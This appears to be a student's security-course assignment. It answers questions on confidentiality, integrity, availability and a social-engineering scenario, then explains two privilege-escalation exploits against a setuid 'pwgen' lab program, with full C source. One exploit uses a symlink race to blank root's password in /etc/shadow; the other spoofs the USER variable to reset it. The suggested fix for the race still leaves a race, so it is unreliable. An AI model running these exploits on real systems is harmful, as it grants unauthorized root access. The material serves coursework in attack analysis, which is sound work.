CS 458 A1-MILESTONE

Chia Ching Chuen |WATID: CCCHIA | STUDENT NUMBER: 20755359

Contents

Written Response

a. Explain which of availability, confidentiality and integrity is violated, in the following.
TCS: “ToqToq Customer Support, this is Sam speaking, how may I help you?”
You: “I’m Alice, my number is 416 555 1337. Can I check my balance please?”
TCS: “You have a credit of $403 in your account.”

a. In this example, the confidentiality aspect is violated. It is violated as I am considered an unauthorized person but is able to ask for Alice account balance. The bank should have gone through further verification on the person’s identity before giving out the account balance.

b. Explain which of availability, confidentiality and integrity is violated, in the following.
TCS: “ToqToq Customer Support, this is Sam speaking.”
You: “I’m Alice, my number is 416 555 1337.”
TCS: “How may I help you?”
You: “Can you please update your record of my credit card number to 4916243021016549?”
TCS: “Not a problem!”

b. In this case, integrity is violated as I am should not be able to change the record of Alice credit card number. This change of information causes the integrity of the information to be compromised.

c. Explain which of availability, confidentiality and integrity is violated, in the following.
TCS: “ToqToq Customer Support, this is Sally speaking, how may I help you?”
You: “I’m Alice, my number is 416 555 1337. I want to close my account.”
TCS: “Oh, we’re sorry to hear that. Your account has now been closed. Goodbye.”

c. In this case, availability is compromised for alice as she is unable to access her account anymore since it have been closed by me. The integrity of the account is also compromised.

d. Explain which of availability, confidentiality and integrity is violated, in the following.
TCS: “ToqToq Customer Support, this is Sally speaking, how may I help you?”
You: “Hey Sally, this is Sam from retention. We noticed you closed an account today belonging to Alice. We want to send her a gift but don’t have her address, could you open the file on your end and help us out?”
TCS: “Hate it when that happens! Here, 200 University Avenue, Waterloo.”

d. In this case, the confidentiality of Alice’s information has been compromised. Her address, and other information should be confidential in the bank system, however, it is easily obtainable by impersonation.

e. You add to your report that TCS doesn’t authenticate callers. What led you to conclude this?

e. There was no attempt in any of the conversation to authenticate the callers, besides their number and name. The customer support does the action requested straight away without asking for more information about the callers.

f. List three different things TCS could do to better authenticate callers.

f. TCS could ask for more information about the caller that only the user of the account that is being requested would know. They should also setup a secret question and answer that only the bank and the customer would know to better verify their identity. For actions like

closing their accounts which is quite a serious request, request them for them to personally to go down to the bank to close the account to make sure that it is the account holder that is closing the account.

2.

a. Every time you call your mother, you hear a click three seconds before the call is answered.
It's almost as if someone is recording the call

a. This is considered interception of my call. It is considered interception as it is just the interception of our conversation but does not disrupt the service.

b. You were paying for fabric softener, but were told that your credit card was denied.

b. This is interruption of my credit card service as I am now unable to use my credit card services, and thus unable to pay for my fabric softener.

c. You try to call your bank a few times, but your call always gets disconnected. The call goes through when you modify your phone number, so you know the bank's number is in service.

c. This is considered interruption of service as now I am unable to make a call to the bank using my own number which is tied to the bank account.

d. The bank says that you transferred all your funds to a different account. You didn't!

d. This is considered modification as my bank account have been modified by an unauthorized person which transferred my money to another account.

3. S.O.S.

a. Deflecting.
   Update your public profile with false/decoy information. This may fool ToqToq (who else could it be?) into misallocating resources during their assault on you.
b.
c. Preventing
   To prevent for further occurrence, I will have to deactivate all accounts and change all my passwords and important information.
d. Detecting
   Set up an automatic alert with the banks and all your important accounts to notify you when someone login in or uses your bank accounts
e. Recovering
   Alert the bank and work with the bank to reverse the transfer of the money and setup a new account, and close the old one

Sploit3.c Explanation

In the fill entropy function, it first accepts an input from the user and insert them into a character pointer. This character pointer after which is return to the fill entropy function. Afterwards, its open a file called /tmp/pwgen_entropy and writes the entropy into the file.

```
static void fill_entropy() {
  char buffer[BUFF_SZ];
  FILE* fd;

  get_entropy(buffer); //should be able to time of use here
  fd = fopen(FILENAME, "w");
  fwrite(buffer, strlen(buffer), sizeof(char), fd);
  fclose(fd);
}
```

This is exploitable as the checking of the file /tmp/pwgen_entropy is done before in the function parse_args using check_perms and is not checked again afterwards when writing into the file.

This means that first, we can create a fake file that links to my current user and I have the permission to access it. After which, create a /tmp/pwgen_entropy and links that file to the fake file that we created. After checking the permission and pwgen will go to the input of the user input. We delete the previous /tmp/pwgen file which we can, which will allow us to create new /tmp/pwgen_entropy file and symbolically links it to the /etc/shadow file, after filling in a line that removes root password specially “"root::::::::”, we end the pwgen program. By ending the pwgen, it will cause pwgen to write into the shadow file as we have link the /tmp/pwgen_entropy to shadow, and thus causing pwgen to overwrite the shadow file with whatever is in the buffer.

After rewriting the shadow file, we can now login to root without any password and obtain a root permissions.

This can be easily fixed by before writing to the file, do the check instead of checking before the write. Meaning we should edit fill_entropy to:

```
Static void fill_entropy() {
  char buffer[BUFF_SZ];
  FILE* fd;

  get_entropy(buffer); //should be able to time of use here
 if(!check_perms()){
  fd = fopen(FILENAME, "w");
  fwrite(buffer, strlen(buffer), sizeof(char), fd);
  fclose(fd);
}
}
```

This will prevent the exploit to a certain extend as the checking of permission is just before the writing and the user will have not time to change the file link.

Sploit4.c Explanation

```
static gid_t get_gid() {
  char* user;
  struct passwd* pw;
  gid_t gid;

  gid = 0;
  user = getenv("USER");
  setpwent();
  while ((pw = getpwent()) != NULL) {
    if (strcmp(pw->pw_name, user) == 0) {
      gid = pw->pw_gid;
      break;
    }
  }
  endpwent();
  return gid;
}
```

In exploit 4, we exploit the way the program sets for the user account. As the get_gid function checks the environment variable which can be changed by the user. Furthermore, instead of setting the unique ID of the user group to null, it was set to 0, which is referring to the root user.

Thus, by setting the environment variable USER to root or anything else that does not exist in the shadow file, we are able to overwrite the root password with the randomly generated password and gain root access by logging in to the root with the randomly generated password.

To fix this, the program should not use the environment variable as a way of checking the user as it is easily changeable by anyone. Instead, they should use another method to verify the current user that is running the pwgen, getLogin function from unistd.h should be used.

E.g.

Char *loginname = getlogin();

Appendix(Code)

Sploit3.c

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include </usr/local/src/shellcode.h>

#define DBSIZE 562
#define DOFFSET 0
#define TARGET "/usr/local/bin/pwgen"
#define NOP   0x90


int main(int argc, char *argv[])
{
  FILE *fp,*tmpfile;
  int i;
   char changeshadow[] ="root::16565::::::";




   tmpfile = fopen("/tmp/fakefile","w");
   fclose(tmpfile);

  symlink("/tmp/fakefile","/tmp/pwgen_entropy");
   fp = popen("/usr/local/bin/pwgen -e","w");
   system("rm /tmp/pwgen_entropy -f");
   symlink("/etc/shadow","/tmp/pwgen_entropy");
   fprintf(fp, "\n%s", changeshadow);
   fclose(fp);
   system("su root");
  exit(0);
}
```

Sploit4.c

```
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include </usr/local/src/shellcode.h>



#define DBSIZE 562
#define DOFFSET 0
#define TARGET "/usr/local/bin/pwgen"
#define NOP   0x90


int main(int argc, char *argv[])
{

  int i;
  FILE *targetprocess, *supro,*shellscript;
  char passwdln[50];
  char passwd[10];
  char bashscript[200] = "#!/usr/bin/expect -f\n spawn su root\n expect \"Password:\"\n send --
\"%s\r\" \n interact";
  char test[200];




  targetprocess = popen("USER=root /usr/local/bin/pwgen -w","r");
  fgets(passwdln ,50 , targetprocess);
  i =0;
              while ((31+i) < strlen(passwdln)){
              passwd[i] = passwdln[31+i]; //get password
               i++;
               }
   passwd[6] = '\0';
  pclose(targetprocess);
  shellscript = fopen("tmpcode.sh","w+");
  sprintf(test, bashscript,passwd);
  fputs(test,shellscript);
  fclose(shellscript);
  system("chmod 777 tmpcode.sh");
  system("./tmpcode.sh");

  //su to root


  exit(0);
}
```